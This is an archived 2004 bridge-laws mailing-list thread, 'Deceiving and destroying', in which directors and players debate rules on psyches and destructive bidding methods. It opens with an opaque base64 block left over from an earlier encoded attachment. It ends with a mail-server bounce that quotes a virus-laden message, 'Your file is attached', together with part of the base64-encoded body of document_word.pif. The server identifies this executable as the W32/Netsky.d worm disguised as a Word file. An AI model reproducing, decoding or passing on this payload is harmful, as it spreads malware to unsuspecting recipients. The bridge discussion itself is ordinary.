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 EFiF7Gc/YcncssjETaxcNGjTdE2csDSg0NBk/NPITNQ8vJMQDk0AcDRY0zhN2IA0pMlQ2SZQ UJpQaXCmcHCacGlQplBQmlBpsKawsJqwadCm0NCa0GnwpvDwmvBp0IgyfUamPTiaS2lOpkFE ml9pWqZVUJpzaXameXyaZ2lipm1omptpnqaRlJqPYLGIk5fEBIWLjYX/QK78uq6tuQa0vrCw /bqA0U2sv0W7iq+iWdJ2jKLDfOHBydG3AoPOzs/0gqiRcwEj1+ayfYi5AoQODNFy1RcLDyg6 LAgofpgb2wAjKSYxDy4nLzR80Um3AHNcT0tbTlKi0VNLR8P6YGcCZHpwZnFlD1nNMNvukGeB koBipYaYLj325UoNng+tEWegi1RQ2kSx9Ybw2sZWwMhpillJ8vVOCOWNMjwZtVUqDjaJacAT Eg0JPK3ENTRpNAA5I2EaPCU8L74sM+DNgxsdGB3fFulAzy30YWIccWhrwOXtlaaxjJWQYZ4e hZerTZo6oA05uf4zTzxasQ2X8moqvaPD9MTStM79MTTHP0yzzv0xKDHP0/PFv0/PFrgBKTGN UWITs/db7VdmBviPudb0BM/UqGCZeaGvUJc8ub3xwbilrxewsLShxb9kM8upPo8bDG6kxzbE odqWWe9jKB7znyEWVtnfviWmN3pi1pCjNYcdn0jmoXdzZDdvmZ5suLDNM8WCk7Sns/Oa58wX vbGtruG3FvmbouXXwWUryvdcvZrQ9jzRR9zdaUqb+ppKxMQfoNL3+AVzz+M6K+ARUfn9hPCu QuE4CQ427UUUdPhQ0wRVYm3VyLefXKtpPxXt6jroZ+SzcW/vAUIlMGVpUWx+fkZBc1taU2om FXfyRmkMIC0cGhgaAhwSEBIcGpdCDnt2adzo9HF8sfM+fDxBanViCt8TX8cBi4yVCZMUhyK+ ugnadjh4jriVKuOAytfThXjr0xwd2QFj9nLIY8iJngbn+hz6pMj/8uLJ5kEGOiAgJ1QyNPAw QzFDmlqw1EtAV0xQVm9wbWXjaW5jMWFriZbnpHJ30nsZDBAOrR+1Be00BxvGqPDPt+USiRQu K316Djom01oiqTo9vjI3j1Y0+slCzm/C299NLOzx5O42Q/9rO7PLDySalpup8mSTrJPZq865 48q+PFrhPQt93WzlS0FFXVrHjVLuElLeasy48cd9PjwMuO7fC9v02gtnHIpwaSsrvjw7rRk+ nSAxdnTKp+OWlrga7DWHft65AK+66c2UysXBYZYsk1Ch063tEM1LG8PotqmNl4c6/JeB+tzE sf91nJX/zsMl6dLbyO7WzsOR8BnR+uPve849ho3W6uw16iTbaHTC8Ufr/LbEVSvbyCwCE99a HPUfFmFhejkYMi8x/hpwxvh1eoznlguW46xq4sfPflOlbCQbYVpG6UJWWAgAaUUXSUZM6yFC HgNA/5aUKCkRx1Z4Uq/aS2W7Rn89SpVcRMCgVfHc9XiY0szttoRb5QYVoqp6rfyk/esVW64N HdMNZjbatqNW6Hve0s0dypWGs3mG8aL2zDbQVP9y75TVU130whDz0lQIzkoBVPhC11EEAiUu KyBEBbpmPCpz8YEMfh8CHX+ynWEbMOy2Yj201Q8DqFABN92Dmhs3nVYZpxYcViaJbn7yrWRn nZHIrZ8VgVkvr2AizbCg4eW6BSu5gFHQxJDqBOGA+Q+f/Zznn7uEexA+wVyO2Cr8Hbfsdqn0 zMevKWXedwaxzIK4ePX0yfyx6qt04VQVGrDrogcHAD+C+p/kCWvjHgocgMAKFAYBdAdSHctz LWhyQAUGDwlkIgUQDdEMBHByOHp6zHVnxyZ0Hgk2DAv6oIQ6NUffuRVrkJxDZVOvddgAokS+ iYj1r3eohZxCJZmwEDC/tYqN5Sqp4ttFfYvJEYyCf6oimtYSnxr0hBXz69Wu/iOYg/r17e3k vLrVuvNQ19vTlVrnxI0f7f6kBuMgheCw5vQ68BtiziuLVDYiJK5V7ecuv95FFhIRfFgADxQc DQ8WBHMQZ/JgrLamxvqbq3wHMB1XfqCEUmRAU0NdREhXAHFMPkFEMEExOTIsNM3I6m0Ay7q+ 2s+2zMQG38HArq8a3usxAN+iopi4qoyx49W9o7y8rrZG9PWcppWuqVHoifzvd5357UGO9T8e qKrd1Mr1ZejKCyG11hDTeMJ/ya4FGVEXaCQaA2QJr3Cn0zZaAAD9ZRJRUk+Q7jUKwwsWwTxD GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/ sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7 fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0007_0000335F.00001BB8-- --i6TABbUF018222.1091095897/mr05.experian-ems.com-- From t.kooyman@worldonline.nl Thu Jul 29 08:27:36 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 29 Jul 2004 09:27:36 +0200 Subject: [blml] Deceiving and destroying References: <001101c474d1$89676ca0$0401010a@Desktop> Message-ID: <006301c4755b$f0369840$c4f8f1c3@LNV> me: > > Which leaves us with the problem that the use of psyches by > > some people > > makes it impossible not to have a weapon against that use. > > > > I have told it before: in '87 during the EC championships I > > was called at a > > table where an Italian pair had psyched the 1C-opening and > > the 1D answer. > > This was the second round in the first session of the open > > pairs (board 3). > > I took a paper (A4) and wrote with big letters (WE PSYCHE > > VERY OFTEN) and I > > ordered this pair to show this paper to every opponent at the > > start of a > > round. (I was the chief TD in that event). > > > > The problem was solved, but I wait for the reproachful words > > from Wayne. > > Ok my first salvo ... > > How did this solve the problem? Did they psyche less frequently now? > > If so I suppose you can now penalize this poor pair for misinforming > their opponents. > > Wayne Good point. I could have asked for meetings but the tournament would have been over by the time a solution was found. And even more important I didn't want a statement as: 'you are not allowed to psyche anymore', as you can understand. If you play 2 boards rounds it is quite possible not to get a psyche from your opponents and still having the right information. But the opponents as a group could have found out that this information was misleading. ton From wayne.burrows@xtra.co.nz Thu Jul 29 12:43:45 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 29 Jul 2004 23:43:45 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <004901c474b7$bf8ccf10$0d80b6d4@LNV> Message-ID: <001601c47561$4e5c0ef0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Thursday, 29 July 2004 3:30 a.m. > To: gesta@tiscali.co.uk; blml > Subject: Re: [blml] Deceiving and destroying > > > > > > > > > > My history may be "flawed" but I was a TD (club level > > > to be sure) in 1955, and became an ACBL TD in 1960. > > > I stand by my comments, that using 40D to prohibit > > > what is specifically allowed by 40A is a subterfuge and > > > stretch of language logic > > > > > > The bridge world knows for years that I have the same opinion. > > And I consider the answer Grattan gives as beside the point. > Nobody wants to > accuse anybody of lack of integrity or ignoble motivations. Why do you > suggest that? The question is that I support people who say > that L40A does > clearly say that psyches can't be regulated. It is against > the principle > idea of the psyche to regulate it. > > Which leaves us with the problem that the use of psyches by > some people > makes it impossible not to have a weapon against that use. > > I have told it before: in '87 during the EC championships I > was called at a > table where an Italian pair had psyched the 1C-opening and > the 1D answer. > This was the second round in the first session of the open > pairs (board 3). > I took a paper (A4) and wrote with big letters (WE PSYCHE > VERY OFTEN) and I > ordered this pair to show this paper to every opponent at the > start of a > round. (I was the chief TD in that event). > > The problem was solved, but I wait for the reproachful words > from Wayne. How often in the first three boards had this pair psyched before you came to the conclusion that they psyched often? Two? Three? Four? or more? or had they just psyched the once? If so how can you tell from one psyche how often they psyche? Or did you have some prior knowledge of this pair? Wayne From emu@atrax.net.au Thu Jul 29 17:11:56 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Fri, 30 Jul 2004 02:11:56 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: <004701c474b7$bef57110$0d80b6d4@LNV> Message-ID: <000f01c47586$c96c1e30$965ddccb@noeltsui0kso1i> I'm sorry - and I apologise to the whole list - if the word offends - I don't resort to such terms usually - and this is by far the strongest I = will ever use - but it certainly got the discussion going - and I think we = have all learned a lot about the way we think about these things. I think the 'methods designed to deceive' regulations are misguided and = I think the 'methods designed to destroy' regulations are dangerous. They = can and will be used wrongly. Pre-alerts and proper alerting requirements, combined with adequate system classification requirements (Green, Blue, = Red and Yellow), further combined with restrictions on which events in which they can be used and finally severe penalties for not alerting bids = which could deceive or deliberately deceiving an opponent as to meaning and = method (i.e. a BOTTOM, followed by a PP if repeated) will remove the problem - = if it even exists! regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Ton Kooijman Sent: Thursday, July 29, 2004 12:53 AM To: Grattan Endicott; blml Subject: Re: [blml] Deceiving and destroying me: > Even in this case it was Jos=EB Damiani > who in Sweden was confronted with > an artificial psyche and was surprised > that the EBL hadn't a regulation forbidding > it. Grattan: > +=3D+ I am not inclined to respond to vulgarity > with vulgarity, but it would be pleasant if > distinguished people making assertions could > have their facts exact. Could you please explain what in my message made you use the word 'vulgarity'? If you are pointing to the word 'crap' I completely agree with you, = sorry. (and the blame to Noel, though once in a while the word is useful). And what in my message was not correct (exact)? ton The EBL has long > included such a regulation in its Systems > Policy. In Malmoe it said 'fewer than > 16 boards' and the Seniors matches were > of exactly 16 boards. The belief was that > it extended until recently to include matches > of 16 boards and that seemingly, without > a decision to this effect, the words had > changed - I need to go back to the 2000 > or 2001 versions of the EBL Systems > Policy to check whether this is actually so. > Jose's belief was that he was playing under > the Systems Policy as he understood it to be, > and that he was protected from such action > in his match. He would have been if the > match had been of fifteen boards. > Certainly I was willing to do as I was > asked and, since under your chairmanship > the WBFLC has reconfirmed the legality > of such a regulation - a decision to which > I remain loyal, I have no problem with it > The only judgement to be made is one of > desirability, and I think neither of us will be > the effective judge of that. Indeed I think > it possible that a decision may now have > been made, although I do not know > exactly what decision. > Stay cool, man. > ~ Grattan ~ +=3D+ > > > _______________________________________________ > blml mailing list > blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml > _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Thu Jul 29 17:11:56 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Fri, 30 Jul 2004 02:11:56 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CD8@lonsc-s-031.europe.shell.com> Message-ID: <000d01c47586$c7479080$965ddccb@noeltsui0kso1i> Wtp? There is a very strong pair here in Canberra who play a 9-11 NT in = 1st or 2nd seat. It is very effective - the whole 1 level is gone before = you know it. There are defences to it, but they have defences to the = defences and are good enough to know when to X you if you get too high. [They now play 12-14 if Vul as we finally worked out how to defend = against it properly!] I have absolutely no problem with this method - sure it is destructive, = but so what! It's BRIDGE. You have to watch the Vul - that can be = deceptive - but again, so what - so do they! regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Hinden, Frances SI-PXS Sent: Thursday, July 29, 2004 2:19 AM To: Bridge Laws Discussion List Subject: RE: [blml] Deceiving and destroying -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of = Eric Landau Sent: 28 July 2004 14:23 To: Bridge Laws Discussion List Subject: RE: [blml] Deceiving and destroying At 04:19 AM 7/28/04, Hinden wrote: >At 11:12 AM 7/27/04, Hinden wrote: > > >I don't see why this follows. There very definitely was a problem, > and it > >was fixed with this rule. Look at it this way: suppose your=20 > >opponents have a small computer screen in front of them explaining=20 > >what all your bids mean, > >alerted or not (after all, isn't this the goal of complete = disclosure?). > > > >Methods that simply don't work in that scenario are banned i.e.=20 > >methods that are purely designed to confuse you as to their meaning. > >Who is to say what a particular method is "purely designed" to do,=20 >other than the person who designed it? > >Eric Landau >--------------------------------------------------------------- >Why did you bother cutting the next paragraph of my post where I made=20 >exactly that point, and then making it yourself? The portion of Frances's message that was snipped was: "Destroying your relay sequences is completely different. "The only problem with this rule is that, as others have pointed out, = it's judgemental and your 'no technical merit' may be my 'best systemic=20 development since rolling keycard Gerber'. But I haven't yet heard of anyone=20 complaining about something actually having been banned under this rule." My point was that while my "no technical merit" may be Frances's "best=20 systemic development...", neither one matters -- unless, of course, one=20 of us has been chosen as the authority officially responsible for such=20 determinations, in which case it is only the other's opinion that=20 doesn't count for anything. And that neither of us should be so chosen=20 -- that the only person who can say for what purpose a method was=20 designed is the person who designed it. I used to play a 1NT opening bid as showing 9-12 HCP. Then the ACBL=20 banned 1NT opening bids on fewer than 10 HCP on the grounds that such=20 opening bids are "purely destructive", with "no technical merit". So=20 now I play it to show 10-12 HCP, which I consider to have a small but=20 significant negative impact on my system as a whole. I submit that the=20 ACBL's "purely destructive" has much the same semantic load as=20 Frances's "designed to confuse", so Frances can now say that she has=20 heard of someone "complaining about something having been banned under=20 [the ACBL's version of] this rule". Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607=20 -------------------------------------------------------------------- Let me put this more simply. I will only rule your method illegal if it loses its point when opponents understand it. A 9-count 1NT prominent = on the card and - in EBUland- you are explicitly supposed to find out the opponents' 1NT range at the start of the round. So difficult to see how = you can think these are the same thing. =20 "the only person who can say for what purpose a method was=20 designed is the person who designed it." Entirely true. So you ask them for what purpose the method was = designed. Wtp? _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Thu Jul 29 17:11:56 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Fri, 30 Jul 2004 02:11:56 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: <533D273D4014D411AB1D00062938C4D90404694E@hotel.npl.co.uk> Message-ID: <000c01c47586$c62cd1b0$965ddccb@noeltsui0kso1i> All these calls are alertable in Australia - no one would be deceived = here. [So noone would even bother trying this on...] regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Robin Barker Sent: Thursday, July 29, 2004 2:42 AM To: 'Hinden, Frances SI-PXS'; Bridge Laws Discussion List Subject: RE: [blml] Deceiving and destroying -----Original Message----- From: Hinden, Frances SI-PXS [mailto:Frances.Hinden@Shell.com] Sent: 28 July 2004 17:15 To: Bridge Laws Discussion List Subject: RE: [blml] Deceiving and destroying [snip] The EBU regulation is specifically aimed at methods which are trying to=20 circumvent the Laws on full disclosure (even if only by slipping past careless oppo). I'm not actually aware of many examples, though RMB and = DWS may be able to do better. =20 I am aware of a pair who a) play double as non-lead-directing of all cuebids b) do not alert every pass of a cuebids which strikes me as of dubious legality, but at least they have to=20 alert the double whereas a normal lead-directing double doesn't have to = be alerted. I'm well aware of many examples of people trying to confuse with their=20 explanations, though the TD at the table can come down pretty sharpish = on these. But to me that's evidence that the regulation is useful. I also = know people who have designed signalling systems solely to confuse (if the = first card played=20 from dummy is odd, we play standard, if it's even we play reverse unless = the board is a prime number in which case it's the other way round) = though I don't think that ever saw the light of day when partner veto'd it. ______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml RMB writes (bottom posting - although my mail client doesn't like it): The various branches of this threat are getting very catty.=20 I haven't read all of it so I will not say much. I don't know any real examples except the one I imagine DWS has cited. = (1N - 2D - 2H - 2N =3D spades, etc.) I think the answer to this is along the lines Ton used: a big piece of paper and/or a verbal announcement before=20 the opening lead on any 1N - 2R - 2M - 2/3NT sequence. e.g. after 1N - 2H - 2S - 3NT - P "opener's calls after 1NT were forced,=20 he has shown simply a 1NT opener; responder has not shown spades;=20 he has shown simply a raise to 3NT". Robin=20 ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or = privileged material; it is for the intended addressee(s) only. If you are not a = named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments = are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 = Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Thu Jul 29 17:21:09 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Fri, 30 Jul 2004 02:21:09 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: <001601c47561$4e5c0ef0$0401010a@Desktop> Message-ID: <001601c47588$0fdd2610$965ddccb@noeltsui0kso1i> I will be away for two weeks so will be unable to contribute further to this thread. I await with interest the outcome of it, which has been very, very useful IMHO. Thanks all, I've learned a great deal. regards, Noel From MAILER-DAEMON@t0uch.slovenska.sk Thu Jul 29 18:31:13 2004 From: MAILER-DAEMON@t0uch.slovenska.sk (MAILER-DAEMON@t0uch.slovenska.sk) Date: 29 Jul 2004 17:31:13 -0000 Subject: [blml] failure notice Message-ID: Hi. This is the qmail-send program at t0uch.slovenska.sk. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. : Attention, you sent a Virus! It has been blocked, please use a Virus Scanner on your computer. The Virus sent is listed below. Virus Name: W32/Netsky.d.eml!exe User Rejected Message (#5.1.1) --- Below this line is a copy of the message. Return-Path: Received: (qmail 87413 invoked from network); 29 Jul 2004 17:31:07 -0000 Received: from unknown (HELO arnold.sk) (82.33.171.5) by miriam.slovenska.sk with SMTP; 29 Jul 2004 17:31:07 -0000 From: blml@rtflb.org To: studio@arnold.sk Subject: Re: Word file Date: Thu, 29 Jul 2004 18:31:15 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0006_0000006E.00005B5F" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0006_0000006E.00005B5F Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your file is attached. ------=_NextPart_000_0006_0000006E.00005B5F Content-Type: application/octet-stream; name="document_word.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_word.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z AQCUcgEAAAAAAAAAAAAAAAAAenMBAKhyAQAAAAAAAAAAAAAAAACGcwEAsHIBAAAAAAAAAAAA AAAAAJFzAQC4cgEAAAAAAAAAAAAAAAAAnnMBAMByAQAAAAAAAAAAAAAAAAAAAAAAAAAAAMhy AQDWcgEAAAAAAOJyAQDwcgEAAHMBABJzAQAAAAAAJHMBAAAAAAALAACAAAAAAEBzAQAAAAAA VHMBAAAAAAAAAE1lc3NhZ2VCb3hBAAAAd3NwcmludGZBAAAARXhpdFByb2Nlc3MAAABMb2Fk TGlicmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAVmlydHVhbFByb3RlY3QAAAAASW50ZXJu ZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAEdldE5ldHdvcmtQYXJhbXMAAAAAUmVnT3BlbktleUEA VVNFUjMyLmRsbABLRVJORUwzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbABpcGhscGFw aS5kbGwAQURWQVBJMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVACNL LeCo9fUqAN2XrU+vUqlvABioluG9wPiQAMukUQTRgwCWAAh8qPCIC46DGwsqdsh4rZIAff8q c3UyNDah4RiNMLEZ5wLoY+8nAGEAAACf0B59LFAEyC92WUGoz7dMAENKSTV9SfNMFsaLNcr/ Fv1JH7pmAAz4ST+5Lje4ADBpaxfaVNyoKVsn6WaIgGsa2xs1XVso89/0VBJZEQgX5bEWjCwK qlyNQcKD7RjLg3xeEl8VcPcISg3wx0DdLWFWA1+QEk6COEiI9CmEAHeOVp81jodfBoA8bgTL ukUA8PSqislLA8oDo/220qcHaQa/vM2/RlJdDancS8uEx0LEhVW8lAcAn2XWp8YU3gGVd5/w 